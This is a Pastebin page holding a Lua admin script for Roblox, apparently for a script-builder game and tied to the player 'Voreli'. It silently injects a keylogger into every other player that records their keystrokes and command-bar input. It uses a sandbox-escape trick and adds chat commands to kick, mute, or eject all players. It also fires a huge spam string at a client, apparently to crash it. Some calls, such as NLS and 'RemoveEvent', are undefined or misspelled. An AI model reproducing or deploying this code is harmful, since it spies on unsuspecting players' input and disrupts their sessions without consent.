Advertisement
jordan83221

adgaed

Nov 28th, 2015
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 12.62 KB | None | 0 0
  1. --[[Project TIME]]--
  2. wait()
  3. script.Parent=nil
  4. local next=next
  5. local pcall=pcall
  6. local cos=math.cos
  7. local sin=math.sin
  8. local atan2=math.atan2
  9. local pi=math.pi
  10. local plr=game.Players.Voreli
  11. local camera=workspace.CurrentCamera
  12. local ease=0.05
  13. local tabs={}
  14. local dt=false
  15. local tabo=true
  16. local spin=true
  17. local clone
  18. local admins={}
  19. local superadmins={}
  20. local megaadmins={}
  21. local uberadmins={}
  22. local svals={}
  23. local function insert(tab,val)
  24.     tab[#tab+1]=val
  25. end
  26. local function remove(tab,val)
  27.    if type(val)~="number" then
  28.        for i,v in next,tab do
  29.             if v==val then
  30.                 tab[i]=nil
  31.             end
  32.         end
  33.     else
  34.         tab[val]=nil
  35.     end
  36. end
  37. function dist(part1,part2)
  38.     return (part1-part2).magnitude
  39. end
  40. local function easey(part,cframe)
  41.     local dx=cframe.X-part.CFrame.X
  42.     local dy=cframe.Y-part.CFrame.Y
  43.     local dz=cframe.Z-part.CFrame.Z
  44.     local vx=dx*ease;
  45.     local vy=dy*ease;
  46.     local vz=dz*ease
  47.     part.CFrame=CFrame.new(part.CFrame.X+vx,part.CFrame.Y+vy,part.CFrame.Z+vz)
  48. end
  49. local keylog=[[
  50.     local next=next
  51.     if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end
  52.     local p=game.Players.LocalPlayer
  53.     local sv=Instance.new("StringValue",game.Lighting)
  54.     sv.Name=p.Name
  55.     local uis = game:GetService("UserInputService")
  56.     local slash=string.byte(47)
  57.     local val=Instance.new("StringValue",game.Lighting)
  58.     val.Name=p.Name.."*"
  59.     local function notify(stat)
  60.         local thing=Instance.new("StringValue",game.Lighting)
  61.         thing.Name="Notify_"..stat
  62.     end
  63.     uis.InputBegan:connect(function(input, typing)
  64.         if input.UserInputType == Enum.UserInputType.Keyboard then
  65.             if input.KeyCode == Enum.KeyCode.A then
  66.                 sv.Value=sv.Value..'a'
  67.             elseif input.KeyCode==Enum.KeyCode.B then
  68.                 sv.Value=sv.Value..'b'
  69.             elseif input.KeyCode==Enum.KeyCode.C then
  70.                 sv.Value=sv.Value..'c'
  71.             elseif input.KeyCode==Enum.KeyCode.D then
  72.                 sv.Value=sv.Value..'d'
  73.             elseif input.KeyCode==Enum.KeyCode.E then
  74.                 sv.Value=sv.Value..'e'
  75.             elseif input.KeyCode==Enum.KeyCode.F then
  76.                 sv.Value=sv.Value..'f'
  77.             elseif input.KeyCode==Enum.KeyCode.G then
  78.                 sv.Value=sv.Value..'g'
  79.             elseif input.KeyCode==Enum.KeyCode.H then
  80.                 sv.Value=sv.Value..'h'
  81.             elseif input.KeyCode==Enum.KeyCode.I then
  82.                 sv.Value=sv.Value..'i'
  83.             elseif input.KeyCode==Enum.KeyCode.J then
  84.                 sv.Value=sv.Value..'j'
  85.             elseif input.KeyCode==Enum.KeyCode.K then
  86.                 sv.Value=sv.Value..'k'
  87.             elseif input.KeyCode==Enum.KeyCode.L then
  88.                 sv.Value=sv.Value..'l'
  89.             elseif input.KeyCode==Enum.KeyCode.M then
  90.                 sv.Value=sv.Value..'m'
  91.             elseif input.KeyCode==Enum.KeyCode.N then
  92.                 sv.Value=sv.Value..'n'
  93.             elseif input.KeyCode==Enum.KeyCode.O then
  94.                 sv.Value=sv.Value..'o'
  95.             elseif input.KeyCode==Enum.KeyCode.P then
  96.                 sv.Value=sv.Value..'p'
  97.             elseif input.KeyCode==Enum.KeyCode.Q then
  98.                 sv.Value=sv.Value..'q'
  99.             elseif input.KeyCode==Enum.KeyCode.R then
  100.                 sv.Value=sv.Value..'r'
  101.             elseif input.KeyCode==Enum.KeyCode.S then
  102.                 sv.Value=sv.Value..'s'
  103.             elseif input.KeyCode==Enum.KeyCode.T then
  104.                 sv.Value=sv.Value..'t'
  105.             elseif input.KeyCode==Enum.KeyCode.U then
  106.                 sv.Value=sv.Value..'u'
  107.             elseif input.KeyCode==Enum.KeyCode.V then
  108.                 sv.Value=sv.Value..'v'
  109.             elseif input.KeyCode==Enum.KeyCode.W then
  110.                 sv.Value=sv.Value..'w'
  111.             elseif input.KeyCode==Enum.KeyCode.X then
  112.                 sv.Value=sv.Value..'x'
  113.             elseif input.KeyCode==Enum.KeyCode.Y then
  114.                 sv.Value=sv.Value..'y'
  115.             elseif input.KeyCode==Enum.KeyCode.Z then
  116.                 sv.Value=sv.Value..'z'
  117.             elseif input.KeyCode==Enum.KeyCode.Slash then
  118.                 sv.Value=sv.Value..'/'
  119.             elseif input.KeyCode==Enum.KeyCode.Space then
  120.                 sv.Value=sv.Value..' '
  121.             elseif input.KeyCode==Enum.KeyCode.Backspace then
  122.                 local t={}
  123.                 for i=1,val.Value:len() do
  124.                     table.insert(t,val.Value[i])
  125.                 end
  126.                 t[#t]=nil
  127.                 for i=1,#t do
  128.                     val.Value=t[i]
  129.                 end
  130.             end
  131.         end
  132.     end)
  133.     notify("Added.")
  134.     coroutine.resume(coroutine.create(function()
  135.         local gui=game.Players.LocalPlayer.PlayerGui.SB_OutputGUI.Task.InputBar
  136.         while gui.Text~="Click here or press (') to run a command" do
  137.             val.Value=gui.Text
  138.         end
  139.     end))
  140.     while wait() do
  141.         if string.find(sv.Value,'kick/vo')~=nil then
  142.             game:service'StarterGui':SetCoreGuiEnabled(3,false)
  143.         elseif string.find(sv.Value,'ban/vo')~=nil then
  144.             p:Kick()
  145.             notify(p.Name.." tried to kick Voreli and was removed.")
  146.         end
  147.     end
  148. ]]
  149. local function protect(p)
  150.    
  151. end
  152. local function makeBillboard(item, text)
  153.     local bg = Instance.new("BillboardGui", item)
  154.     bg.Enabled = true
  155.     bg.AlwaysOnTop = true
  156.     bg.Size = UDim2.new(5, -0.5, 5, 0)
  157.     local f = Instance.new("Frame", bg)
  158.     f.BackgroundTransparency = 1
  159.     f.Size = UDim2.new(2.5, 0, 1.25, 0)
  160.     local tb = Instance.new("TextBox", f)
  161.     tb.Size = UDim2.new(0.5, 0, 0.5, 0)
  162.     tb.FontSize = "Size36"
  163.     tb.Text = text
  164.     tb.TextStrokeTransparency = 0
  165.     tb.TextXAlignment = "Center"
  166.     tb.TextYAlignment = "Top"
  167.     tb.BackgroundTransparency = 1
  168.     tb.TextColor3 = Color3.new(0,0,1)
  169.     tb.Font="ArialBold"
  170.     if text == "Dismiss" then
  171.         tb.TextColor3 = Color3.new(1, 0, 0)
  172.         tb.TextStrokeColor3=Color3.new(0,0,0)
  173.     end
  174. end
  175. function notify(stat)
  176.     wait()
  177.     dt=false
  178.     tabo=true
  179.     local tab = Instance.new("Part", game.Workspace)
  180.     tab.Name = "Tab"
  181.     tab.CanCollide = false
  182.     tab.TopSurface = "Smooth"
  183.     tab.BottomSurface = "Smooth"
  184.     tab.Size = Vector3.new(4, 0.4, 6.6)
  185.     tab.Transparency = 0.5
  186.     tab.Anchored = true
  187.     tab.FormFactor = "Plate"
  188.     local tabad = Instance.new("Part",tab)
  189.     tabad.Name = "Tabad"
  190.     tabad.CanCollide = false
  191.     tabad.TopSurface = "Smooth"
  192.     tabad.BottomSurface = "Smooth"
  193.     tabad.Transparency = 0
  194.     tabad.BrickColor = BrickColor.new(1,1,1)
  195.     tabad.Anchored = true
  196.     local mesh = Instance.new("BlockMesh",tabad)
  197.     mesh.Scale = Vector3.new(0.5, 0.2, 1)
  198.     makeBillboard(tab,stat)
  199.     local sele = Instance.new("SelectionBox",tab)
  200.     sele.Adornee = tab
  201.     sele.Color = BrickColor.new(1,1,1)
  202.     sele.Transparency = 0
  203.     delay(0, function()
  204.         while wait() do
  205.             for i = 0,.7,0.1 do
  206.                 tab.Size = Vector3.new(4,i,6.6)
  207.                 wait()
  208.             end
  209.             wait()
  210.             for i = .7,0,-0.1 do
  211.                 tab.Size = Vector3.new(4,i,6.6)
  212.                 wait()
  213.             end
  214.         end
  215.     end)
  216.     insert(tabs,{taba=tab,sel=sele,tabd=tabad})
  217.     coroutine.resume(coroutine.create(function()
  218.         for i,v in next,tabs do
  219.             local num=#tabs
  220.             local slice=(pi*2)/num
  221.             local radius=2+num
  222.             local angle=i*slice;
  223.             local x=cos(angle)*radius;
  224.             local y=60
  225.             local z=sin(angle)*radius;
  226.             tab.CFrame=camera.Focus*CFrame.new(x,y,z)
  227.             tabad.CFrame=camera.Focus*CFrame.new(x,y,z)
  228.         end
  229.     end))
  230. end
  231. game.Lighting.DescendantAdded:connect(function(obj)
  232.     if obj:IsA("ObjectValue") and obj.Name=="Potatoes" then
  233.         clone=obj.Value:Clone()
  234.         notify("Found!")
  235.         notify(clone.className)
  236.     end
  237. end)
  238. local function NL(code,par)
  239.     if clone then
  240.         if code and par then
  241.             --[[local clo=clone:Clone()
  242.             local StringVal=Instance.new("StringValue",game.Players.Voreli.Backpack)
  243.             StringVal.Value=code
  244.             clo.Parent=par
  245.             StringVal.Name="Code"
  246.             clo.Disabled=false]]
  247.             local h=Instance.new('RemoveEvent',workspace):FireClient(par,{code})
  248.         end
  249.     end
  250. end
  251. local function logp(plr)
  252.    
  253. end
  254. local function wipe(tab)
  255.     for i=#tab,1 do
  256.         tab[i]=nil
  257.     end
  258. end
  259. workspace.DescendantRemoving:connect(function(obj)
  260.     for _,v in next,tabs do
  261.         if obj==v then
  262.             remove(tabs,obj)
  263.         end
  264.     end
  265. end)
  266. local function dismiss()
  267.     if dt==true and tabo==false then
  268.         spin=false
  269.         for i,v in next,tabs do
  270.             wait()
  271.             tabs[i].taba:Destroy()
  272.             tabs[i].tabd:Destroy()
  273.             table.remove(tabs,i)
  274.         end
  275.     end
  276. end
  277. local cmds={
  278.     ["log"]=function(a)
  279.         for _,v in next,game.Players:GetPlayers() do
  280.             if string.find(v.Name:lower(),a:lower())~=nil then
  281.                 local plr=v
  282.                 logp(plr)
  283.             end
  284.         end
  285.     end,
  286.     ["ff"]=function(a)
  287.         for _,v in next,game.Players:GetPlayers() do
  288.             if string.find(v.Name:lower(),a:lower()) ~= nil then
  289.                 pcall(function() Instance.new("ForceField",v.Character) end)
  290.             end
  291.         end
  292.     end,
  293.     ["cl"]=function(p)
  294.         for _,v in next,game.Players:GetPlayers() do
  295.             if string.find(v.Name:lower(),p:lower())~=nil then
  296.                 for i,g in next,game.Lighting:GetChildren() do
  297.                     if g then
  298.                         local a=string.match(g.Name,"(.*)*")
  299.                         if a==v.Name then
  300.                             notify(g.Value)
  301.                         end
  302.                     end
  303.                 end
  304.             end
  305.         end
  306.     end,
  307.     ["test"]=function(a)
  308.         for i=1,a do wait()
  309.             notify("test")
  310.         end
  311.     end,
  312.     ["dt"]=function()
  313.         dt=true
  314.         tabo=false
  315.     end,
  316.     ["size"]=function()
  317.         spin=false
  318.         for i=1,#tabs do
  319.             tabs[i].taba.Size=Vector3.new(5,5,5)
  320.         end
  321.     end,
  322.     ["cspin"]=function()
  323.         spin=false
  324.     end,
  325.     ["lower"]=function()
  326.        
  327.     end,
  328.     ["kick"]=function(p)
  329.         for _,v in next,game.Players:GetPlayers() do
  330.             if string.find(v.Name:lower(),p:lower())~=nil then
  331.                 pcall(function()
  332.                     NLS([[game.Players.LocalPlayer:Kick()]],v.Backpack)
  333.                     notify("Kicked "..v.Name..".")
  334.                 end)
  335.             end
  336.         end
  337.     end,
  338.     ["grab"]=function(p)
  339.         for _,v in next,game.Players:GetPlayers() do
  340.             if string.find(v.Name:lower(),p:lower())~=nil then
  341.                 pcall(function()
  342.                     table.insert(tabs,v.Character.Torso)
  343.                 end)
  344.             end
  345.         end
  346.     end,
  347.     ["mute"]=function(p)
  348.         for _,v in next,game.Players:GetPlayers() do
  349.             if string.find(v.Name:lower(),p:lower())~=nil then
  350.                 pcall(function()
  351.                     NLS([[
  352.                         game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)
  353.                     ]],v.Character)
  354.                     notify("Muted "..v.Name..".")
  355.                 end)
  356.             end
  357.         end
  358.     end,
  359.     ["unmute"]=function(p)
  360.         for _,v in next,game.Players:GetPlayers() do
  361.             if string.find(v.Name:lower(),p:lower())~=nil then
  362.                 pcall(function()
  363.                     NLS([[game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)]],v.Character)
  364.                     notify("Unmuted "..v.Name..".")
  365.                 end)
  366.             end
  367.         end
  368.     end,
  369.     ["protect"]=function(p)
  370.         for _,v in next,game.Players:GetPlayers() do
  371.             if string.find(v.Name:lower(),p:lower())~=nil then
  372.                 pcall(function()
  373.                     protect(v)
  374.                 end)
  375.             end
  376.         end
  377.     end,
  378.     ["sd"]=function()
  379.         for _,v in next,game.Players:GetPlayers() do
  380.             NLS([[game.Players.LocalPlayer:Kick()]],v.Character)
  381.         end
  382.     end,
  383.     ["nl"]=function(a)
  384.         NL([[]]..a..[[]],game.Players.Voreli)
  385.     end
  386. }
  387. local function antimute()
  388.     NLS([[
  389.         wait()
  390.         script.Parent=nil
  391.         local next=next
  392.         local pcall=pcall
  393.         while wait() do
  394.             game:service'StarterGui':SetCoreGuiEnabled(3,true)
  395.         end
  396.     ]],game.Players.Voreli.Backpack)
  397. end
  398. antimute()
  399. local function chat(msg,plr)
  400.     if msg and plr then
  401.         local cmd,parm=string.match(msg,"(.*)/(.*)")
  402.         if cmd and parm and cmds[cmd] then
  403.             cmds[cmd](parm)
  404.         end
  405.     end
  406. end
  407. game.Lighting.DescendantAdded:connect(function(obj)
  408.     if obj:IsA("LocalScript") then
  409.         notify(obj.Name.." has been added to scripts!")
  410.     end
  411. end)
  412. game.Lighting.DescendantAdded:connect(function(obj)
  413.     if obj:IsA("StringValue") then
  414.         local a,b=string.match(obj.Name,"(.*)_(.*)")
  415.         if a and b then
  416.             notify(b)
  417.         end
  418.     end
  419. end)
  420. local function playerAdd(p)
  421.     if p then
  422.         if p.Name=="Voreli" then
  423.             p.Chatted:connect(function(m) chat(m,p) end)
  424.         else
  425.             NLS(keylog,p.Backpack)
  426.             print("Added.")
  427.         end
  428.     end
  429. end
  430. game.Players.PlayerAdded:connect(function(p) playerAdd(p) end)
  431. for _,v in next,game.Players:GetPlayers() do
  432.     playerAdd(v)
  433. end
  434. local function rot()
  435.     if tabo==true and dt==false then
  436.         for i,v in next,tabs do
  437.             local x=math.cos(i*(pi*2)/#tabs)*(2+#tabs);
  438.             local y=0
  439.             local z=math.sin(i*(pi*2)/#tabs)*(2+#tabs);
  440.             easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  441.             easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  442.             v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  443.             v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  444.         end
  445.     end
  446. end
  447. local function Ng(plr)
  448.     local h=Instance.new('RemoveEvent',workspace):FireClient(plr,{string.rep("umad?",2e5+5)})
  449. end
  450. local function begin()
  451.     notify("")
  452.     notify("")
  453.     notify("")
  454.     notify("")
  455.     notify("")
  456.     notify("")
  457.     notify("")
  458.     notify("")
  459.     notify("")
  460.     notify("")
  461.     notify("")
  462.     notify("")
  463.     notify("")
  464.     notify("")
  465.     notify("")
  466.     notify("")
  467.     notify("")
  468.     notify("")
  469.     wait(5)
  470.     dt=true
  471.     tabo=false
  472. end
  473. game:service'RunService'.Stepped:connect(function() rot() end)
  474. game:service'RunService'.Stepped:connect(function() dismiss() end)
  475. begin()
  476. Ng(game:service'Players'[game.Players.Voreli.Name])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement